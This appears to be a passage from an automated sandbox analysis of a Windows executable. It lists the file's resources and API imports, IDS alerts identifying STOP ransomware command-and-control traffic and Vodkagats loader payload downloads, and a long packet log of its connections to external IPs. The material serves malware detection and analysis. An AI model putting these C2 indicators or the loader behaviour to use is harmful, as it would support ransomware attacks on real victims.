RT_ICON	0x3ca6550	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Romanian	Romania	0.449468085106383
RT_ICON	0x3ca6a20	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Romanian	Romania	0.42217484008528783
RT_ICON	0x3ca78c8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Romanian	Romania	0.47247292418772563
RT_ICON	0x3ca8170	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Romanian	Romania	0.5697004608294931
RT_ICON	0x3ca8838	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Romanian	Romania	0.4703757225433526
RT_ICON	0x3ca8da0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Romanian	Romania	0.4679460580912863
RT_ICON	0x3cab348	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Romanian	Romania	0.48334896810506567
RT_ICON	0x3cac3f0	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Romanian	Romania	0.5032786885245901
RT_ICON	0x3cacd78	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Romanian	Romania	0.5576241134751773
RT_ICON	0x3cad258	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Romanian	Romania	0.4933368869936034
RT_ICON	0x3cae100	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Romanian	Romania	0.4693140794223827
RT_ICON	0x3cae9a8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Romanian	Romania	0.4291907514450867
RT_ICON	0x3caef10	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Romanian	Romania	0.2804979253112033
RT_ICON	0x3cb14b8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Romanian	Romania	0.2854127579737336
RT_ICON	0x3cb2560	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Romanian	Romania	0.3028688524590164
RT_ICON	0x3cb2ee8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Romanian	Romania	0.33599290780141844
RT_ICON	0x3cb33b8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	Romanian	Romania	0.392590618336887
RT_ICON	0x3cb4260	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	Romanian	Romania	0.5803249097472925
RT_ICON	0x3cb4b08	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	Romanian	Romania	0.613479262672811
RT_ICON	0x3cb51d0	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	Romanian	Romania	0.5606936416184971
RT_ICON	0x3cb5738	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	Romanian	Romania	0.537655601659751
RT_ICON	0x3cb7ce0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	Romanian	Romania	0.5959193245778611
RT_ICON	0x3cb8d88	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	Romanian	Romania	0.5811475409836065
RT_ICON	0x3cb9710	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	Romanian	Romania	0.648936170212766
RT_STRING	0x3cb9df8	0x2f2	data	Romanian	Romania	0.47877984084880637
RT_STRING	0x3cba0f0	0x2aa	data	Romanian	Romania	0.4941348973607038
RT_STRING	0x3cba3a0	0x4a8	data	Romanian	Romania	0.4538590604026846
RT_STRING	0x3cba848	0x1b0	data	Romanian	Romania	0.5092592592592593
RT_STRING	0x3cba9f8	0x2d2	data	Romanian	Romania	0.4903047091412742
RT_STRING	0x3cbacd0	0x7de	data	Romanian	Romania	0.41509433962264153
RT_GROUP_ICON	0x3ca69b8	0x68	data	Romanian	Romania	0.6923076923076923
RT_GROUP_ICON	0x3cad1e0	0x76	data	Romanian	Romania	0.6779661016949152
RT_GROUP_ICON	0x3cb9b78	0x76	data	Romanian	Romania	0.6779661016949152
RT_GROUP_ICON	0x3cb3350	0x68	data	Romanian	Romania	0.7115384615384616
RT_VERSION	0x3cb9c10	0x1e4	data			0.5371900826446281

Imports

DLL	Import
KERNEL32.dll	AddConsoleAliasW, GetComputerNameW, CreateHardLinkA, GetTickCount, EnumTimeFormatsA, GetUserDefaultLangID, FindResourceExA, GetLocaleInfoW, GetCompressedFileSizeA, MultiByteToWideChar, GetTempPathW, InterlockedExchange, GetLastError, ChangeTimerQueueTimer, SetLastError, GetThreadLocale, GetProcAddress, LocalCompact, BuildCommDCBW, LoadLibraryA, WriteConsoleA, LocalAlloc, GetExitCodeThread, AddAtomW, RemoveDirectoryW, SetNamedPipeHandleState, GlobalFindAtomW, GetModuleFileNameA, GetOEMCP, GlobalUnWire, FindFirstChangeNotificationA, LoadLibraryExA, SetCalendarInfoA, ReadConsoleInputW, GetWindowsDirectoryW, AddConsoleAliasA, GetVolumeInformationW, SetFileAttributesA, GetSystemDefaultLangID, WriteConsoleW, GetStringTypeW, EncodePointer, DecodePointer, IsProcessorFeaturePresent, GetCommandLineA, RaiseException, RtlUnwind, IsDebuggerPresent, HeapFree, HeapAlloc, ExitProcess, GetModuleHandleExW, WideCharToMultiByte, HeapSize, EnterCriticalSection, LeaveCriticalSection, GetStdHandle, GetFileType, DeleteCriticalSection, GetStartupInfoW, CloseHandle, GetCurrentThreadId, GetProcessHeap, WriteFile, GetModuleFileNameW, QueryPerformanceCounter, GetCurrentProcessId, GetSystemTimeAsFileTime, GetEnvironmentStringsW, FreeEnvironmentStringsW, UnhandledExceptionFilter, SetUnhandledExceptionFilter, InitializeCriticalSectionAndSpinCount, Sleep, GetCurrentProcess, TerminateProcess, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, GetModuleHandleW, LoadLibraryExW, IsValidCodePage, GetACP, GetCPInfo, HeapReAlloc, LCMapStringW, GetConsoleCP, GetConsoleMode, SetFilePointerEx, SetStdHandle, FlushFileBuffers, OutputDebugStringW, CreateFileW
ADVAPI32.dll	DeregisterEventSource
WINHTTP.dll	WinHttpOpen

Possible Origin

Language of compilation system	Country where language is spoken	Map
Romanian	Romania

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
04/23/24-22:17:02.191038	TCP	2833438	ETPRO TROJAN STOP Ransomware CnC Activity	49735	80	192.168.2.4	189.195.132.134
04/23/24-22:17:02.621797	TCP	2036335	ET TROJAN Win32/Filecoder.STOP Variant Public Key Download	80	49734	189.195.132.134	192.168.2.4
04/23/24-22:17:02.763570	TCP	2036333	ET TROJAN Win32/Vodkagats Loader Requesting Payload	49736	80	192.168.2.4	189.195.132.134
04/23/24-22:17:02.634850	TCP	2036335	ET TROJAN Win32/Filecoder.STOP Variant Public Key Download	80	49735	189.195.132.134	192.168.2.4
04/23/24-22:17:02.763570	TCP	2020826	ET TROJAN Potential Dridex.Maldoc Minimal Executable Request	49736	80	192.168.2.4	189.195.132.134
04/23/24-22:17:00.484535	TCP	2036333	ET TROJAN Win32/Vodkagats Loader Requesting Payload	49733	80	192.168.2.4	187.228.55.117
04/23/24-22:17:00.484535	TCP	2020826	ET TROJAN Potential Dridex.Maldoc Minimal Executable Request	49733	80	192.168.2.4	187.228.55.117

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 23, 2024 22:16:55.230429888 CEST	49730	443	192.168.2.4	172.67.139.220
Apr 23, 2024 22:16:55.230472088 CEST	443	49730	172.67.139.220	192.168.2.4
Apr 23, 2024 22:16:55.230542898 CEST	49730	443	192.168.2.4	172.67.139.220
Apr 23, 2024 22:16:55.243891001 CEST	49730	443	192.168.2.4	172.67.139.220
Apr 23, 2024 22:16:55.243906975 CEST	443	49730	172.67.139.220	192.168.2.4
Apr 23, 2024 22:16:55.471882105 CEST	443	49730	172.67.139.220	192.168.2.4
Apr 23, 2024 22:16:55.472048998 CEST	49730	443	192.168.2.4	172.67.139.220
Apr 23, 2024 22:16:55.541270971 CEST	49730	443	192.168.2.4	172.67.139.220
Apr 23, 2024 22:16:55.541300058 CEST	443	49730	172.67.139.220	192.168.2.4
Apr 23, 2024 22:16:55.541872978 CEST	443	49730	172.67.139.220	192.168.2.4
Apr 23, 2024 22:16:55.542041063 CEST	49730	443	192.168.2.4	172.67.139.220
Apr 23, 2024 22:16:55.546165943 CEST	49730	443	192.168.2.4	172.67.139.220
Apr 23, 2024 22:16:55.592117071 CEST	443	49730	172.67.139.220	192.168.2.4
Apr 23, 2024 22:16:56.029028893 CEST	443	49730	172.67.139.220	192.168.2.4
Apr 23, 2024 22:16:56.029119015 CEST	49730	443	192.168.2.4	172.67.139.220
Apr 23, 2024 22:16:56.029139042 CEST	443	49730	172.67.139.220	192.168.2.4
Apr 23, 2024 22:16:56.029160976 CEST	443	49730	172.67.139.220	192.168.2.4
Apr 23, 2024 22:16:56.029189110 CEST	49730	443	192.168.2.4	172.67.139.220
Apr 23, 2024 22:16:56.029211044 CEST	49730	443	192.168.2.4	172.67.139.220
Apr 23, 2024 22:16:56.055305958 CEST	49730	443	192.168.2.4	172.67.139.220
Apr 23, 2024 22:16:56.055324078 CEST	443	49730	172.67.139.220	192.168.2.4
Apr 23, 2024 22:16:57.108237028 CEST	49731	443	192.168.2.4	172.67.139.220
Apr 23, 2024 22:16:57.108334064 CEST	443	49731	172.67.139.220	192.168.2.4
Apr 23, 2024 22:16:57.108438969 CEST	49731	443	192.168.2.4	172.67.139.220
Apr 23, 2024 22:16:57.120584011 CEST	49731	443	192.168.2.4	172.67.139.220
Apr 23, 2024 22:16:57.120619059 CEST	443	49731	172.67.139.220	192.168.2.4
Apr 23, 2024 22:16:57.347449064 CEST	443	49731	172.67.139.220	192.168.2.4
Apr 23, 2024 22:16:57.347567081 CEST	49731	443	192.168.2.4	172.67.139.220
Apr 23, 2024 22:16:57.352214098 CEST	49731	443	192.168.2.4	172.67.139.220
Apr 23, 2024 22:16:57.352248907 CEST	443	49731	172.67.139.220	192.168.2.4
Apr 23, 2024 22:16:57.352574110 CEST	443	49731	172.67.139.220	192.168.2.4
Apr 23, 2024 22:16:57.352638006 CEST	49731	443	192.168.2.4	172.67.139.220
Apr 23, 2024 22:16:57.360743999 CEST	49731	443	192.168.2.4	172.67.139.220
Apr 23, 2024 22:16:57.408126116 CEST	443	49731	172.67.139.220	192.168.2.4
Apr 23, 2024 22:16:57.913846970 CEST	443	49731	172.67.139.220	192.168.2.4
Apr 23, 2024 22:16:57.913958073 CEST	49731	443	192.168.2.4	172.67.139.220
Apr 23, 2024 22:16:57.913994074 CEST	443	49731	172.67.139.220	192.168.2.4
Apr 23, 2024 22:16:57.914020061 CEST	443	49731	172.67.139.220	192.168.2.4
Apr 23, 2024 22:16:57.914079905 CEST	49731	443	192.168.2.4	172.67.139.220
Apr 23, 2024 22:16:57.915123940 CEST	49731	443	192.168.2.4	172.67.139.220
Apr 23, 2024 22:16:57.915158987 CEST	443	49731	172.67.139.220	192.168.2.4
Apr 23, 2024 22:16:59.024230003 CEST	49732	443	192.168.2.4	172.67.139.220
Apr 23, 2024 22:16:59.024317980 CEST	443	49732	172.67.139.220	192.168.2.4
Apr 23, 2024 22:16:59.024425983 CEST	49732	443	192.168.2.4	172.67.139.220
Apr 23, 2024 22:16:59.038759947 CEST	49732	443	192.168.2.4	172.67.139.220
Apr 23, 2024 22:16:59.038795948 CEST	443	49732	172.67.139.220	192.168.2.4
Apr 23, 2024 22:16:59.259325027 CEST	443	49732	172.67.139.220	192.168.2.4
Apr 23, 2024 22:16:59.259450912 CEST	49732	443	192.168.2.4	172.67.139.220
Apr 23, 2024 22:16:59.263849020 CEST	49732	443	192.168.2.4	172.67.139.220
Apr 23, 2024 22:16:59.263880968 CEST	443	49732	172.67.139.220	192.168.2.4
Apr 23, 2024 22:16:59.264317036 CEST	443	49732	172.67.139.220	192.168.2.4
Apr 23, 2024 22:16:59.265511990 CEST	49732	443	192.168.2.4	172.67.139.220
Apr 23, 2024 22:16:59.275536060 CEST	49732	443	192.168.2.4	172.67.139.220
Apr 23, 2024 22:16:59.320122957 CEST	443	49732	172.67.139.220	192.168.2.4
Apr 23, 2024 22:16:59.825696945 CEST	443	49732	172.67.139.220	192.168.2.4
Apr 23, 2024 22:16:59.825779915 CEST	49732	443	192.168.2.4	172.67.139.220
Apr 23, 2024 22:16:59.825839996 CEST	443	49732	172.67.139.220	192.168.2.4
Apr 23, 2024 22:16:59.825864077 CEST	443	49732	172.67.139.220	192.168.2.4
Apr 23, 2024 22:16:59.825901031 CEST	49732	443	192.168.2.4	172.67.139.220
Apr 23, 2024 22:16:59.825936079 CEST	49732	443	192.168.2.4	172.67.139.220
Apr 23, 2024 22:16:59.826800108 CEST	49732	443	192.168.2.4	172.67.139.220
Apr 23, 2024 22:16:59.826833010 CEST	443	49732	172.67.139.220	192.168.2.4
Apr 23, 2024 22:17:00.328743935 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:00.484138012 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:00.484316111 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:00.484534979 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:00.690494061 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.094348907 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.094413042 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.094458103 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.094499111 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.094497919 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.094544888 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.094544888 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.247986078 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.248032093 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.248049021 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.248070002 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.248086929 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.248123884 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.248131037 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.248167038 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.248172998 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.248205900 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.248214006 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.248245001 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.248251915 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.248286963 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.402751923 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.402797937 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.402853012 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.402909994 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.402918100 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.402957916 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.402971983 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.403009892 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.403012037 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.403048038 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.403064013 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.403086901 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.403105974 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.403125048 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.403131962 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.403161049 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.403167963 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.403198957 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.403206110 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.403237104 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.403244019 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.403275013 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.403284073 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.403315067 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.403318882 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.403361082 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.406835079 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.406893015 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.556565046 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.556596994 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.556617022 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.556634903 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.556655884 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.556674004 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.556673050 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.556694031 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.556706905 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.556713104 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.556731939 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.556746006 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.556750059 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.556761026 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.556768894 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.556787968 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.556791067 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.556808949 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.556835890 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.560441017 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.560461998 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.560517073 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.560535908 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.560616016 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.560636044 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.560655117 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.560667038 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.560673952 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.560693979 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.560698032 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.560713053 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.560723066 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.560734034 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.560748100 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.560751915 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.560758114 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.560770035 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.560779095 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.560787916 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.560798883 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.560806990 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.560815096 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.560827971 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.560847044 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.564327955 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.564347029 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.564367056 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.564383030 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.564393997 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.564410925 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.711707115 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.711771965 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.711782932 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.711810112 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.711828947 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.711848021 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.711864948 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.711884975 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.711894989 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.711921930 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.711930990 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.711975098 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.711977005 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.712013960 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.712024927 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.712050915 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.712060928 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.712089062 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.712109089 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.712138891 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.712146997 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.712184906 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.712198973 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.712232113 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.715744972 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.715802908 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.715825081 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.715863943 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.715876102 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.715909004 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.715919971 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.715960026 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.715967894 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.715996981 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.716010094 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.716034889 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.716042995 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.716073036 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.716078997 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.716126919 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.716131926 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.716169119 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.716180086 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.716207981 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.716212988 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.716247082 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.716250896 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.716283083 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.716288090 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.716337919 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.764540911 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.764609098 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.764614105 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.764650106 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.764663935 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.764688969 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.764693975 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.764723063 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.764746904 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.764766932 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.764775991 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.764807940 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.764822960 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.764842987 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.764858007 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.764880896 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.764894009 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.764920950 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.764929056 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.764959097 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.764970064 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.765007973 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.767699003 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.767749071 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.767863035 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.767883062 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.767901897 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.767910957 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.767920971 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.767920971 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.767940998 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.767949104 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.767960072 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.767973900 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.767976999 CEST	80	49733	187.228.55.117	192.168.2.4
